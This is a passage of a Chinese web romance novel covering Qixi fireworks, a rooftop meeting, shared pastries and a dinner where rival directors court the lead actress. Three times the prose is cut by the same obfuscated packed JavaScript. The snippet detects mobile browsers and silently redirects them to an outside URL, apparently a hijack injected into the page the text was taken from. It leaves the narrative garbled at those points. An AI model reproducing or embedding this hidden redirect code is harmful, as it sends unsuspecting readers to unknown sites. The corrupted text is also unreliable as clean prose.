难怪这两天大家脸上都带着隐隐的期待。 察觉到元时亦情绪落下,舒妤没再提她不想听到的那个人,“明晚镇上有游园会,要不要一起来?” 元时亦摇头。 她最近没怎么休息好,得早点睡觉。 “好吧,你想来的话随时叫我,我们几个做了攻略,保证好玩。” “好。”元时亦简单应下。舒妤既然都这么说了,再不答应就不太好。 如果明天颜屿还是很忙,那她就去游园会。 而真来到七夕这天,剧组早早收了工,元时亦回到酒店想先躺一会,却不想醒来时天竟已黑透。 屋内只有几束极淡的光,线条交错纷杂,但仍能感受到,此刻的外界有多热闹。 打开手机。 【20:40】 微信里除了群聊的几个艾特,再无其他消息。 室内很沉静,一股巨大的潮水在刹那间扑涌而来,却又顺着泥土极速褪去,那点沙砾里遗留的痕迹被这阵潮水全数卷离,仿佛从未存在过。 元时亦退出微信,没有开灯,她在黑暗中点开《诸灵》。 翻身趴在枕头上,她们游戏人就是这么强,不管外面多么热火朝天,她们依旧可以心无旁骛地做日常。 而日常的11输了。 搞什么啊,都不过节的?! 怎么都这个点了匹配还这么快。 快就算了还净是些操作怪!! 难怪平常里的都是些菜鸡,真正的高手,绝不会放弃每一日练习,哪怕是今天这样的日子。 【20:55】 元时亦甩开手机,烦躁地抓了下头,黑发柔顺,却罕见地被她抓出几根炸毛。 算了,不玩了。 睡觉。 头刚一埋下,情缘上线提示音就瞬时响起。 “咚。” 元时亦的心脏也跟着这道声音“咚”地跳动一下。 是颜屿。 她这几天都没有见到过他上线,怎么突然—— 抓过手机,私聊框闪动。 【[与山言]邀请您参观他的家园。】 元时亦微睁双眼,参观他的家园? 家园系统在七月份开启,她对这东西并无兴趣,便一直没有接触过。 而此刻,颜屿正在邀请她。 没有细想太多,元时亦立马点进去。 画面跳转。 元时亦来到一处全新的,从未见过的场景。 巨大的绿色草地上,是一片如仙境般的花海。 无数花朵交附而生,或粉或紫或白,荧蓝流光跃动,像璀璨夺目星点。 风一吹,星花摇曳。 元时亦不自觉屏息,将屏幕渐渐缩小。 两条流动的“Y”字光河浮现,而河流之间,由一道弯曲的粉白花路相连。 这个设计,竟与她那枚徽章如出一辙。 元时亦跳下床将徽章翻出来比对,颜色虽有不同,但排版实在相似。 颜屿怎么会摆出这个图案,又是巧合吗? 就在元时亦陷入思考时,一串醒目的红色数字跳动而出。 花海的正中央,正在显示倒计时。 【03:00】 【02:59】 倒计时三分钟,目标是晚上九点。 九点,还有不到三分钟。 一点小小的期待悄然滋生,元时亦重新躺回床上,赤红的光芒倒映进黑色宝石中,再次印刻下痕迹。 时间一秒一秒过去,她的心脏也在一下一下震动。 …… 【00:03】 【00:02】 【00:01】 眼前的场景并未发生任何变化,而倒计时变成了一行字。 【去阳台】 元时亦想也不想,掀开薄被飞奔而去。 把手拉动的这一刻。 “砰——” 银白流星直冲云霄,金银交织的光点如花般在眼前绽开。 “砰!”“砰!”“砰!” 绚丽、缤纷、耀眼。 一束又一束,响彻天空。 是烟花。 天空之下,一圈圈涟漪在岫围镇的中心湖上荡漾开,掀起小小波浪。 又一束银色火光绽放后,空中陷入了短暂的停顿。 湖边响起一阵嘈杂声。 “怎么停啦,不是才刚开始没多久吗?” “今年不会这么短吧?” 烟雾散尽的这刻,一道更大的礼花声冲进天际,花朵炸开的刹那,一圈星点环绕而现。 “卧槽!是无人机!” “我天,原来今年预算这么充足啊?!” “这无人机也太多了吧!!!” 漫天的无人机绕着烟火不断转动,一幅幅美丽的图案展现在众人面前。 鹊桥、流星、喜鹊,人影闪动,汇聚至中。 一行 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16290611|182669||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小字出现在桥下—— 漆黑的夜缀满星光,光芒驱散黑暗,照亮彼此相拥的行人,星点坠落,落进爱人眼里。 ——【想见你】 元时亦只觉脑子都要炸掉。 想见你。 是颜屿一周前跟她说过的。 “想见你。” 所有人的注意力都被那三个突然出现的三个字所吸引,无人注意到,黑暗中,一台挂着礼盒的无人机来到元时亦的阳台外。 四片金属叶掀起一缕细细的风,它在空中悬停住。 一个精美的酒红色方形礼盒落在身前。 元时亦敛住呼吸,这是,颜屿给她的礼物? 稍踮起脚,她将它小心翼翼地取下。 礼盒微晃,有些沉。 借着远处星光,元时亦蹲在地上将礼盒拆开,一捧鲜花顿时盛放开来。 如火焰般的花瓣倾泻而出,火焰灼人,质感却柔和而细腻。 这是一束人为制作而成,没有任何味道,却与真花别无二致的,手工玫瑰。 玫瑰如焰,永不凋敝。 所以,他这些天都是在忙这个? 元时亦覆手而上,软软的枝刺,一点都不扎人—— 不对,有点硌手,是一张卡片! 元时亦迅速打开手电筒。 纯白卡纸中央,是一行流畅的行楷,笔触透出锋利,笔画又尽显温柔。 【要来天台看烟花吗?这里视野很好】 他在天台。 仔细将这束玫瑰收好,元时亦快速收拾一番,头也不回地冲出房间。 电梯抵达至最高一层,走廊尽头,就是通向天台的入口。 没有犹豫,元时亦跨步而出。 天台边缘,果然伫立着一道人影。 他一瞬不瞬地盯住门边,直到,他思念已久的人出现。 颜屿:“七夕快乐。” 原本一路小跑过来的步子在这时慢下,这里的视野,比她想象中还要好。 他就这样站在黑夜里,天台上,烟花前,双眼中。 焰光洒落,指引终点。 空旷地面上,只有逐渐靠近的二人。 脚步停止,二人相近。 元时亦:“七夕快乐。” 夜色渐深,微风轻掠,撩动人心。 “抱歉,让你久等了。”颜屿温和的声线中夹杂歉意,雾色眸子映着远处霓虹,似勾人漩涡,“我预留的时间少了点,礼物可能不是太……” “我很喜欢。” 她很喜欢很喜欢。 她喜欢玫瑰,却无法忍受玫瑰的香,即使觉得再漂亮,也不能待在她身边超过三分钟。 而现在,她有了一束可以永远放在床头的玫瑰。 “那就好。” 元时亦那双透水的眼在黑暗中也亮得吓人。 好完然后呢,就没了吗? “你就没有其他话要对我说?”元时亦凑近。 梦中场景历历在目,她一定要趁着这个机会问出来。 颜屿轻咳一声,下意识往后退一步。 元时亦再次凑近,“说话!你知道我想问什么。” 颜屿扶住她的身子,“嗯,我知道。” 简短的停顿后,他淡声开口:“但我不能。” 不能? 早上的梦成真了。 元时亦不悦:“为什么?” 缤纷的光芒不断闪烁,相视的瞳孔中倒映出同样色彩,颜屿低首,然后缓缓贴住她的额头,“因为你会下头。” 元时亦心中一紧,原来,原来是这个原因。“你、你怎么知道……” “我看过那个采访,也听你们在游戏里提过。” “所以,我不会说。” “哦。”温热的触感从肌肤相贴处传来,额前硬硬的,心里却软软的,“你试试呗,万一我不会呢。” “不试,”轻柔的笑染上嘴角,“试试就逝世了。” “哼,胆小鬼。” “嗯,我是。” 他就是胆小鬼,不然,他怎么会等上这么多个日夜,等到他有足够把握,等至她的目光只为他停留。 “那好吧。”其实她心里也在打鼓,万一,她是说万一,万一颜屿说完,她真的下头了怎么办。 摇摇头,她赶紧把这个可怕的念头甩出去。 那样的话,她真的就太糟糕了。 “都怪你,也不提前提示我一下,现在好了,我都没跟你准备礼物。” 颜屿却给她准备了很多,是游戏里的花海,是无人机下的想见,是可以一直捧在手心的玫瑰。 “没关系,我现在要可以吗?” “现在?”元时亦眨眨眼,没搞懂,他现在要的话她一时也给不了呀。 除非,他是要…… 眼前的面庞在缓慢靠近。 熟悉又陌生的气息侵染而上,清冽又浓烈,将她每一寸肌肤都牢牢包裹,她感觉到身体的某处在疯狂颤栗。 那株栽倒的小芽不知在何时得到喘息,洪水泄尽后,它似乎重获生机。 颤颤巍巍间,它支起了小小的枝体。 元时亦屏起气,那双扑闪的眼睛不会动了,乖乖闭紧。 然而数秒之后,什么也没发生。 ? 气息不曾离开,却又未曾前进。 元时亦悄悄掀起一只眼皮,细碎的光顺着缝隙落入瞳内,朦胧间,她捕捉到眼前人藏不住的微曲长眸。 颜屿正盈着笑,看她。 他耍她?! 一场地震突生,小芽颤抖的身体复又落下。 这男人,搞什么啊! 不想再看他,元时亦气得直接偏过脑袋—— 而这个迟来的吻在这一刻落至她的眼角。 清风拂过,将未来得及触及地面的芽叶重新扶起。 “送我一瓶香水吧。” 33. 品尝 “香水?” “嗯。”元时亦窝在房车里刷着手机回周三月,她正在搜索味道相对淡的男香。只是网络上说得再好,都不如她线下去闻一闻,她体质特殊,不是什么香都能接受。 周三月在电话那头一脸姨母笑,“这男人小心思有点明显喔。” 香水这类礼物,严格说已超出普通异性朋友的范畴,贴身用品,不是什么身份都可以送,也不是什么身份都可以收。 “那你们现在算是在一起了吧?” 元时亦气哼,“没有。”谁让他昨晚要故意逗她,那她就不可能这么轻易答应。“我还在考察期,看他表现。” 周三月惊讶:“宝,你定力什么时候变得这么好了?” 她可是去看了颜屿家园的那片花海,元时亦不懂家园装修有多么麻烦,尤其是摆放这类小模型,简直能把人的耐心磨个干净。 元时亦不信,“有这么难吗?”这花海是挺漂亮的,但不就是设计好图案然后一点点摆出来嘛,费点时间罢了,倒是那束玫瑰,她确实觉得不容易。 周三月鄙视她,“不信你自己试试。” 于是十分钟后,元时亦扔掉手机,举手投降,“是我错了。”她给颜屿发去好多[辛苦了]的表情包,还不忘把这片花海好好录下来,虽然昨日她已截下很多张图。 元时亦没敢说,定力好的那个可不是她。 昨夜那枚吻来得太轻,似火星浮落,不着痕迹,却在她心口烫出个小窟窿,回过神来时,焰火消逝,只余下一道浅浅的痕。 他比她想得还要克制许多。 哪怕她已经在很主动地暗示他。 不过这样也好,这种禁欲的模样,她更喜欢。 既然他这么有定力,那她就是做,也得做出个矜持样子来。 “我看他等得也挺开心的,那就让他再等等好了。” 屏幕上各种图片看得她眼花缭乱,她从来不知男香竟能有这么多款,而岫围镇上又没有合适的店,她不想随随便便挑一瓶,显得她不用心。 “要不你等休假回趟沪城呢?”周三月听到元时亦叹气,心知她是没找到中意的,“毕竟是香水嘛,不现场闻一下肯定不行。” “我也是这么想的,”有些描述过于抽象,她想象不出来,“实在不行只能抽个时间回去了。” “回哪?”两个温润的字忽然降落房车门口。 元时亦一惊,差点弄掉耳机,“你、你怎么来了。” 颜屿提着一个包装细致的礼盒出现。 没再跟三月继续煲电话粥,她胡乱说一声匆匆挂断。 房车内仅她一人,司机去了别处休息,路芙搬着小板凳在围观戏份,所以她才能独自享用空间,跟三月说悄悄话。 他出现得倒挺是时候。 “沪城,这不是要帮你挑香嘛,在跟三月聊呢。”元时亦没遮掩,他提这个要求时也一样坦荡。 不过跟最开始还是不一样了,他现在会光明正大偷听她讲话,甚至直白点出来,一点不藏着掖着。 “不着急,你有空再选,我可以等。”房车高度并不算矮,但颜屿身姿峻拔,空间稍小一寸就显得局促,他半低头,倾身而入,顺手虚掩上门,“丁老师爱人过来探班,给我们的谢礼。” 海边那件有惊无险的事过去后,丁除的妻子出于担心,还是来了趟剧组,为表感谢,她在照顾丈夫之余,给两位救命恩人准备了一份礼物。原本该是两份,丁除说放在一起就可以。 元时亦把腿挪下沙发,幸好她刚才才把房车收拾过,她不是邋遢之人,只偶尔犯懒会看着杂乱。 颜屿将礼盒放在餐桌上,熟练地挨她坐下,未把自己当外人。 “等等等,你就这么进来了?”元时亦心口一突突,他们是有过亲密接触,可也不能这么明晃晃地摆在台面上,至少目前还不行。 颜屿当然知道她在说什么,“我只是过来送谢礼,应该不算什么稀奇事。” “那你送完就可以……”元时亦咳一声,提示他。 “我的那份也在里面。”颜屿不动身,像一尊稳稳雕像,自顾自的拆解包装,开启盖子,“而且,我想和你一起吃。” “噢。”这男人说话有时弯弯绕绕,有时又格外直接,哪种她都不讨厌,好吧,也不全是,前者偶尔听得她发恼,后者,又总是臊得她心痒痒。 是一盒自制的糕点。 糕点做得小巧又精致,每种两份,成对摆放,铺满方盒。 只中间那格,独一枚,形状有些古怪,处在一圈粉绿黄白的花糕里,过于扎眼。 “这个,看起来好奇怪啊。”元时亦戳了戳它,外层是脆脆的酥皮,一碰就碎。 “似乎是个海胆糕。”颜屿盯着看了很久,酥皮上排列着规律的小白点,一条一条,再加这红白相间的纹路,他唯一能联想到的只有海胆了。 “海胆?”元时亦凑近,经他这么一说,是有些像,“丁老师爱人真有创造力。”大概是受了丁除所捡的那枚稀罕物的启发。 “嗯,尝尝看。” 颜屿没碰那块海胆糕,独一份的东西,他理应先让给她。 元时亦微端起左手在下方接着,她怕这小玩意儿被她捏碎。外壳酥酥的,裹一层薄薄的油,气味香甜,并不腻人。 轻咬一口,酥脆的皮下是软糯细腻的白馅,质地绵软,慢咽下,满口回甘。 “哇,好好吃啊。”元时亦两个眸子噌得亮起,糕点类的食物她吃得不多,这样的点心,食材里通常会额外增添花瓣花汁以作辅料,原材原质倒还好,怕的就是浓缩类香精,而面前这些,明显是没有的。 纯手工制,纯天然,无添加。 美观又美味。 难得遇到合心意的点心,她不由得多咬了口,拇指跟食指间只剩下小小一部分,她吃得餍足,差点忘了身旁男人。 “嘶,抱歉抱歉,我没注意,还有一点点,给你。”元时亦抬手递到颜屿嘴边,他刚吃完一枚白梨糕。 颜屿没接。 元时亦手指顿住,她是不是又有点馋了,明明她很少这样,在口腹之欲这一块,她一向很自律。 还是说,他不想让她喂呢? 手腕缩回的这一刻,颜屿俯首过来,微张嘴唇,在元时亦未能反应时,伸出舌尖舐去了她嘴角的那点细碎末。 软而烫的贴碰,像触电般顺着唇瓣一路麻至头皮。 脑袋一阵长鸣,元时亦整个人跟烧开了般,热气滚滚往外冒。 “嗯,的确很好吃。”颜屿双眸似浓雾,稠得拨不开。 元时亦咣一下手抖,指尖颤栗到要掉落的糕点被颜屿匀称的长指握住,“你喜欢的话就都吃掉吧,我只尝一点就够了。” 哪一点? 她嘴上这一点? 元时亦咬嘴唇,动作扯到嘴角那点,还燃着,滋滋冒火花。 嘴缝露出声音,瓮声瓮气,“你怎么能不经过我同……” “如果你讨厌,可以推开我。” 扯! 他就碰一下,还用得着她推吗! 偏回身,她把剩下那点重新放回盒中,“不吃了。” 倒也不是生气,就是太不设防,一点准备也没有,直愣愣接受,全由他主导,没主动权,没安全感。 颜屿怕她恼,在海胆糕落下的瞬间又紧接着将它拿起,老老实实吃完,然后认真问,“不然,你也尝回来?” 元时亦:“……” 那横竖都是她吃亏呗! 这个心机男! 见她不作声,颜屿安安静静坐着,在等,等她表态。 元时亦两眼不看身外人,一本正经。 其实也不是不可以。 颜屿的嘴唇很好看,边缘线条分明,带一点并不干燥的唇纹,唇瓣饱满却不算厚,许是因为这一处五官,中和了眼部深邃,让他看起来不那么凌厉。 也看起来,很好亲。 她可以矜持,但也能够主动。 没人规定女人不能大胆,前提是她心甘情愿。 反正亲都亲了,没谈恋爱就亲嘴儿,天知地知你知我知,说不准谁占谁便宜。 元时亦指尖点算剩下的花糕,点到这个就同意,点到那个就不同意,现在是她的主场,她说了算。 这男人既然心机到上交主动权。 那就给她乖乖等着,听凭发落。 啧,点到了同意。 可她还是说:“不尝。” 没办法,谁让他耍她那么多次,她活学活用,也不过分吧? 得到答复,颜屿却没反应,不吭声,无动作,元时亦好奇,眼神探过去,而这一眼立刻将她拉回来岫围镇那日,飞机邻座上,他就如当下这般,闷闷的,落寞的,委屈的。 停! 那一次她就因为他这副模样而生出一点心疼,这次她一定要心硬一点,绝不能—— 丢,他为她精心准备礼物,而她还在苦兮兮地挑选中。 盔,他说他能等,那她干嘛不提前给他点奖励? 弃,只是碰碰嘴角皮子,也没什么大不了的吧。 甲…… 行吧,她投降。 颜屿眼下铺一层淡淡乌青,想来是最近这段时日的赶工还未能恢复好,虚拟的花和仿真的花,于他而言,无论哪一项,都不会如真花般唾手可得,他需要花费很多时间,倾注很多情感,才能将这两份礼物完整地送到她面前。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16290612|182669||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 元时亦侧身,她尝,尝还不行吗? 依次吹响的号角在恭送即将冲锋陷阵的战将,号角嘹亮,推战将勇往向前。 气息相望,汇聚,交融。 光芒照耀海水,水暗,引诱光入侵。 颜屿几乎要敛住呼吸,她很骄傲,很倔,偶尔藏不住脾气,但他知道,她很善良,也很心软。 然而就在鼻尖触碰鼻尖的瞬间,一道压低的惊呼出现在门边。 “时——啊!” 元时亦一个弹跳,差点撞到桌角。 何曦一手捏手机,一手扶住门,进也不是,退也不是,“那什么,我,咳,要不我先回避下?” “不用!”元时亦紧急叫停何曦动作,“小秘密”已然被撞破,她哪有脸继续。 看一眼时间,颜屿竟在她这里有一刻钟,这个时长,很危险。 起身前,颜屿埋在桌下的手揉了揉元时亦磕到桌沿的手背,“那我先走了。” 元时亦小声回了个“嗯”。 颜屿离开,房车内还残留一丝抹不掉的余韵,元时亦尴尬地立于其中,寻思怎么开口才能将这片涟漪完全消除。 何曦又轻咳两下,非礼勿视非礼勿听,她实在不是有意如此,门虚虚掩着,元时亦又是一个人在内,她根本想不到会有第二个人在场,尤其这人还是,那位颜总。 这么说,上次那个小秘密是真的了? 她倒是从来不反对她这位艺人恋爱,元时亦不是爱豆,不用太严苛这件事,前两年她还跟她说,若是遇到合适的,可以试一试,对演戏理解人物也有帮助,可元时亦没那个想法,她一门心思放事业上,连CP营业都能无缝衔接,好在她没谈过恋爱,营得都没代入感,不至于让CP粉太投入,网上都说流水的男主铁打的元时亦,超话里最火的那对CP,竟还是她跟罗青蔓的,自上次罗青蔓手滑事件后,这对CP被重新翻出,一大堆粉丝狂哭“圆满”要BE了吗,却因一句“明明是正主点‘三’宣示主权”而再次被炒火,笑得何曦直摇头,大概是这俩人处在两条平行路线上,没人把她们当对手。 不过她后来问过元时亦,那微博到底是空穴来风还是确有其事,元时亦答得很果断,试镜姜洺那部剧时她才第一次见他,他怎么给她开后门,未必他真搞暗恋?! 看元时亦说得那么肯定,再加上江燚对元时亦的强烈认可,她就没再往深想。可看现在这态势,搞不搞暗恋的她不清楚,那条微博的内容怕是要“成真”了。 有那条微博在,元时亦就是想公开,她这个经纪人也是不可能让她公开的。至少《诸灵》上映前不行。 公开。 元时亦压根没想过这个词,严格地说,她在此之前从未想过会跟颜屿在一起,当然,现在也是没有在一起的。 就是这天知地知的事被第三人知道,让她有点难为情罢了。 好在这人是何曦。 但何曦的闯入也给她提了个醒,后面再跟颜屿相处,她得小心再小心,谨慎再谨慎。 “所以你来找我什么事。”元时亦问何曦。 小插曲过去,何曦提起正事,“老陶问我,续约合同你还有没有不满意的地方。” 元时亦疑惑,“没有啊,他怎么突然问这个?”续签的经纪约大半年前就已经谈好了,她挺满意的,只等日子到了签字就行。 何曦摇头,“我也不知道,他最近挺怪的,经常打听你的事。”说到这,何曦也纳闷,公司艺人多,不是每个人老板都能上心,“该不会老陶知道些什么了吧?” “怎么可能,你来探班之前,我跟他还没到这步呢!” 何曦来剧组那天,她正期待颜屿要跟她说的那件事,他俩八字都没一撇,千里之外的老陶能知道个屁啊。 等等,元时亦拧起眉,她当时有猜老陶让何曦来是因为许其知,难不成是她这个表哥在背后搞什么。 元时亦懒得去想许其知会干什么,她想到另一件事。 许其知用香水,而且只用定制香。 那会儿阿萤还跟她说过,她哥身上很特别,元时亦就没这么觉得,许其知就是臭讲究,什么都只用定制款。 然而她得拜托这个臭讲究了。 送走何曦,元时亦打开微信,给许其知发去消息。 【元时亦:把你那个调香师推给我】 不是十万火急的事,许其知通常都不会很快回复她。 元时亦也没催,反正颜屿那边不着急。 翻开剧本,一会儿该到她了,她得再读读台词找找感觉。 不想她刚读完第一句,微信提示音响起。 许其知给她发来五个字。 【许其知:你谈恋爱了】 34. 抢人 元时亦收到消息的第一反应是检查房车里是不是有摄像头。 她想不通,不就是找他要个联系方式,他是怎么联想到个人情感状态上的。 【元时亦:[微笑]别造谣】 【许其知:你不用香水要什么调香师】 【元时亦:我送人不行啊】 【许其知:男,女?】 【元时亦:……】 对话结束得不算愉快,但元时亦很肯定,许其知那儿一定是得到了什么消息。 元时亦抠手指,他到底怎么知道的? 糕点盒被重新合上,两人吃得不多,还剩一半的量,可她现在没心思尝了。 不多时,路芙过来叫她,现场已基本准备完毕,她可以前去拍摄。 今天的戏是山林围猎,这场戏正好结合了射箭与骑灵兽,由于要用特效的部分太多,于是选择了室内绿幕。 阿似得到任务,去抓捕一对精灵族的双生兄妹。 兄妹二灵,单翼鸟,结合一体时可飞行,阿似便带上了她的灵兽,彩鲲·琉璃。 “同为灵族,你为什么要帮人类做事,反过来伤害我们!”兄妹见阿似在身后穷追不舍,不得不从天空降下,窜入密林。 阿似骑着琉璃紧跟其后,树丛茂密,琉璃行动受限,在它被枝刺扎伤身体时,阿似眉头轻皱,拉开了冰弓。 她其实并不想射穿那对兄妹的翅膀,可她耐心有限。 两只单翼鸟被死死定于地面,阿似走近,“同为灵族?你们捉弄琉璃的时候,有把她当灵族吗。”琉璃才刚出生不久,还是一只彩鲲宝宝。阿似是不喜欢人类,但同样讨厌无礼的灵族。 镜头暂停,元时亦从台面上跳下。 片场很安静,每个人都各司其职忙活自己的事,元时亦想去找江燚问效果,却注意到这异乎寻常的状态,只好先折去路芙身边。 “大家这是怎么了?” 路芙全程在现场,发生了什么事她最清楚不过。 “那个姜导来探班了,我们的江导很不高兴。” “姜导?”圈内Jiang姓导演不多,元时亦想了想才恍然道,“不会是姜洺吧?” “对,就是他。”路芙神情严肃,“江导看到他的时候就有点不高兴了,等他把非也老师叫走之后,江导脸就黑成了现在这样,还没恢复呢。” 元时亦朝那边看过去,江燚在大监后正襟危坐,她还从未见过江燚这副样子。 除此外,她同样好奇的是,姜洺怎么会来《诸灵》剧组探班,难道是专程过来找非也老师的? 这个疑问在几分钟后得到解答。 【何曦:晚上来参加个饭局,姜导做东,非也老师也来】 姜洺要跟她吃饭? 元时亦有些感慨,上一次见姜洺还是在那部都市剧的试镜里,那时她遗憾于没能得到与姜洺合作的机会,而如今,这个机会居然会主动找上门。 只是何曦的消息里只提了姜洺和非也,因此她并未料到,她会在这间包厢里看见江燚,以及,颜屿。 藏在后街的古朴小馆,六人桌的小包厢,胜在私密性强,无开放位。 “幸好小包厢也是六人位,不然要坐不下了。”姜洺笑着跟匆匆赶到的元时亦打招呼。 “姜导好。”她下了戏就立刻收拾完东西过来,好在没有超过约定时间。 而她进门后,姜洺、非也、江燚、颜屿已依次坐好,在她还没从见到颜屿后的惊讶中回神时,何曦和颜屿同时指着他身旁的空位表示:坐这。 元时亦:“……” 虽然都不是外人但是也别太明显了! 何曦也笑着热场:“是啊,今天的饭局都是贵客,我跟着时亦沾光了。” 小馆没有菜谱,这家店的特色便是全看主厨心情出餐,包厢空间不大,布置得却十分用心,极具东方韵味的红木桌椅,雕花灯架悬挂暖色黄玉灯笼,墙边是整面镂空置物架,精巧摆件错落有致,是一间上好的雅间。 服务员过来询问完忌口问题,元时亦用牙缝悄悄问颜屿:“你怎么也来了?” 颜屿一脸淡然,“江燚让我来的。” 他右侧的江燚差点拍桌,放屁,我问你来不来,你说不来,我说有小元,你说那来!这是我让你来?! 至于江燚为什么会来,则是出于某种担心心理,一定要跟着非也,于是连带着,这饭局就多出两位“不速之客”。 姜洺倒完茶,先敬了颜屿一杯,“感谢颜总赏脸。” 颜屿点头应下,今晚的主客不是他,他不会多言。 菜品陆续上齐后,才正式进入到今天的主题。 “不知姜导找时亦是有什么事吗?”在演艺圈,饭局是最常见的社交手段之一,只是这通常代表演员有求于导演,像导演做东请演员的,只有一种可能,递本子,求合作。何曦收到姜洺的消息时,第一反应就是自家孩子出息了,她知道元时亦有多想参演姜洺的项目,所以立刻答应下来,只是这个时间点,距她杀青大概还有两个多月的时间,有些长,而江燚,是绝对不可能接受演员轧戏的。 “我最近有部不错的作品,想请小元出演女主。” 元时亦自然也明白这种饭局意味着什么,只是当姜洺亲口说出来时,她内心还是小小地激动了下。 “什么作品,什么时候?”那个不能接受轧戏的人率先问出口,只是递个本子,完全没必要亲自跑来一趟,尤其是他上个项目刚结束,距离岫围十万八千里。 “本子还没写好,正在请小也,”姜洺笑眼眯起,“我是说非也老师,修改。一切顺利的话大概十月下旬开机。” 江燚听到“小也”二字后气得连喝三杯茶,随即他冷声道:“下旬不行,我们至少十一月才能杀青。” “我可以等。”姜洺语气诚恳,“我那边可以先准备着,如果小元愿意来,一切都不是问题。” 姜洺抿一口茶继续补充,“唯一的问题是,这是一部古装剧,我知道你基本不接触古代戏,但这个角色很适合你,”说罢,他从公文包中拿出一份文件袋,“你不用先急着拒绝我,这是剧本初稿,你可以先看看。” 两人你一言我一语,没有激烈争吵,却在无形间交锋相争,谁都能看出他们之间不对付。 元时亦咽了咽喉咙,她是很想与姜洺合作,可是古装剧,她的确不太会考虑。再加上,当着江燚的面接本子,是不是有点不地道,更别说,姜洺竟然会叫非也老师“小也”,这简直比当初江燚那道称呼更容易让人想歪,好在她提前打过预防针,不会再把震惊表露在脸上。 就在她接完文件犹豫的片刻,江燚再次开口,“你知道她不接古装还给她递。” 姜洺解释,“原本是不想让她为难,但今天看了她的拍摄,我认为她是最适合女主的人选,”说着,他转向元时亦笑问:“你在这边学了射箭跟马术吧?这部剧正好需要这两项技能,去了我那就可以多实践实践了。” 言外之意,《诸灵》用不太到的东西,在他那里正好能有用武之地。 一席话把江燚惹地有些恼,“你这么抢人不太好吧?” “你不也是看了她在我那儿的试镜才选中她的吗?” “你本来也是让她去陪跑的,我选她跟你有什么关系?” 当初的小计谋被直接拿到台面上来说,姜洺脸上也一下难看起来,“你是觉得你就没从我这里抢走过人吗?” 气氛陡然间剑拔弩张。 眼看着两人要越吵越凶,颜屿轻咳一声,打破僵局,在两位姜/江导同时冷静下来的这刻,他将一小碗剥好的虾默默递给元时亦。 本就如坐针毡的元时亦一个轻颤,她拧起眉悄瞪身旁之人,非得在这种时候给她递虾吗?! 而对面的姜洺看到这一动作明显愣了一瞬,方才那番争论被迅速抛之脑后,眼神逡巡的间隙,颜屿终于开口,“还是要感谢姜洺导演,不是托您的福,我不会遇见她,也不会让江燚导演有看见她的机会。” “两位都是高要求的导演,对于选角自然有一套自己的标准,我是外行不懂这些,我只知道,即使她真的符合角色,也得尊重她自己的意愿,对吧?” “当然。”投资人出来圆场, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16290613|182669||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姜洺自是不会再说什么,他再次倒上一杯茶敬颜屿,“让颜总见笑了。” 颜屿颔首,“既然项目还在筹备中,今晚的事情就没必要让外人知道了。” “明白。”姜洺毕竟是老江湖,颜屿的潜台词他不会不懂,当初那条微博他也刷到过,他是不相信江燚会因为投资人的要求而把重要角色让出去的,所以只有可能是元时亦本就符合他的预期,只是没想到,那微博上的内容也不全为假,并且听这位颜总的意思,似乎还是他在无形中给二人当了“红娘”? 摊牌后的颜屿也懒得再装,他将椅子往元时亦身边挪了挪,“还有什么想吃的吗?” 元时亦气地在桌下踩他脚。 锃亮的薄底皮鞋上沾染一层淡灰的女士板鞋鞋印。 颜屿没躲,他原本也不想做得太过,但既然已经做了,就该让她出出气。 “吵完了?”非也坐在元时亦的正对面,看左右两侧人争吵完,才摔下夹花生米的筷子,“好好的饭局吵成这样,不想吃就都给我滚蛋。” “姜洺,别忘了你是来找我改本子的,不谈正事以后不用找我。” “谈,谈正事。”姜洺缓缓神色,对元时亦微笑道:“小元,我不会给你施压,你等这部戏杀青再考虑我的剧就好,我这边随时等你答复。” 姜洺都把话说到了这个份上,元时亦就肯定不会一口回绝了,再者,这部剧既然由非也老师亲自修改,那完全可以一试,“好的姜导,我会好好看看剧本的,一定尽快给您回复。” 话题回到正轨,气氛总算缓和。 一餐饭未吃太久,要提的事情都已提完,一行人九点不到就散了场。 饭局结束,众人很识趣地先行离开,元时亦只好坐上颜屿的车。 一刻钟后,一辆黑色迈巴赫驶进地下停车场。 “以后,还是得注意点。”元时亦解开副驾驶安全带,在下车前提醒颜屿。 “嗯,会的。今天是我不好。” 虽然他的行为让她不是很满意,但认错态度还可以,元时亦点点头,正要开车门,却发现颜屿并未解锁。 她下意识转头去看身旁人。 黑暗中,颜屿双眸如墨,正沉沉地看着她。 似危险逼近,元时亦目光闪躲开,这才察觉他将车停在光线偏少的角落。 安静一隅,落针可闻。 元时亦忽然感觉嗓子发涩,呼吸慢慢变得急促,“怎么不开……” 颜屿却没回答这个问题,而是说:“前面贴了防窥膜。” 她没有问这个! 